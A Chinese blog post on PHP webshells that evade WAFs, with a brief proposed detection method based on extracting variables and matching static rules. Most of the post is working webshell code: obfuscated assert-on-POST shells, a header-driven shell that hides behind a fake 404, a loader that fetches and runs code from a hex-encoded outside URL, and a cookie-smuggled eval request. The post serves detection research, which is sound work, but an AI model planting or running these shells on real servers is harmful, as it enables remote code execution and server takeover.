PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
C# Assembly类访问程序集信息
Jun 13 PHP
PHP缓存技术的多种方法小结
Aug 14 PHP
PHP常用特殊运算符号和函数总结(php新手入门必看)
Feb 02 PHP
PHP中strlen()和mb_strlen()的区别浅析
Jun 19 PHP
ThinkPHP实现将SESSION存入MYSQL的方法
Jul 22 PHP
typecho插件编写教程(五):核心代码
May 28 PHP
php生成gif动画的方法
Nov 05 PHP
PHP中SSO Cookie登录分析和实现
Nov 06 PHP
一波PHP中cURL库的常见用法代码示例
May 06 PHP
详解php中serialize()和unserialize()函数
Jul 08 PHP
PHP基于面向对象实现的留言本功能实例
Apr 04 PHP
Laravel 手动开关 Eloquent 修改器的操作方法
Dec 30 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
Laravel 4 初级教程之视图、命名空间、路由
2014/10/30 PHP
基于PHP制作验证码
2016/10/12 PHP
js正确获取元素样式详解
2009/08/07 Javascript
jquery异步跨域访问代码
2013/06/28 Javascript
Google (Local) Search API的简单使用介绍
2013/11/28 Javascript
js的image onload事件使用遇到的问题
2014/07/15 Javascript
js模仿php中strtotime()与date()函数实现方法
2015/08/11 Javascript
基于JavaScript实现树形下拉框
2016/08/10 Javascript
JS数组去掉重复数据只保留一条的实现代码
2016/08/11 Javascript
浅谈jquery中使用canvas的问题
2016/10/10 Javascript
JS使用插件cryptojs进行加密解密数据实例
2017/05/11 Javascript
JS仿QQ好友列表展开、收缩功能(第二篇)
2017/07/07 Javascript
聊聊那些使用前端Javascript实现的机器学习类库
2017/09/18 Javascript
使用Vue自定义指令实现Select组件
2018/05/24 Javascript
详解基于Vue/React项目的移动端适配方案
2019/08/23 Javascript
Vue.js页面中有多个input搜索框如何实现防抖操作
2019/11/04 Javascript
Vue 实现显示/隐藏层的思路(加全局点击事件)
2019/12/31 Javascript
[03:07]DOTA2英雄基础教程 冰霜诅咒极寒幽魂
2013/12/06 DOTA
启动targetcli时遇到错误解决办法
2017/10/26 Python
Django框架实现逆向解析url的方法
2018/07/04 Python
pycharm重置设置,恢复默认设置的方法
2018/10/22 Python
python实现感知器算法(批处理)
2019/01/18 Python
详解Django+uwsgi+Nginx上线最佳实战
2019/03/14 Python
Python实现的多进程拷贝文件并显示百分比功能示例
2019/04/09 Python
Python3进制之间的转换代码实例
2019/08/24 Python
3分钟看懂Python后端必须知道的Django的信号机制
2020/07/26 Python
python时间序列数据转为timestamp格式的方法
2020/08/03 Python
详解Python Celery和RabbitMQ实战教程
2021/01/20 Python
Feelunique澳大利亚:欧洲的化妆品零售电商
2019/12/18 全球购物
波兰办公用品和学校用品在线商店:Dlabiura24.pl
2020/11/18 全球购物
字符串str除首尾字符外的其他字符按升序排列
2013/03/08 面试题
三方协议书
2015/01/27 职场文书
个人催款函范文
2015/06/23 职场文书
详解Laravel框架的依赖注入功能
2021/05/27 PHP
Win11开始菜单添加休眠选项
2022/04/19 数码科技
nginx 添加http_stub_status_module模块
2022/05/25 Servers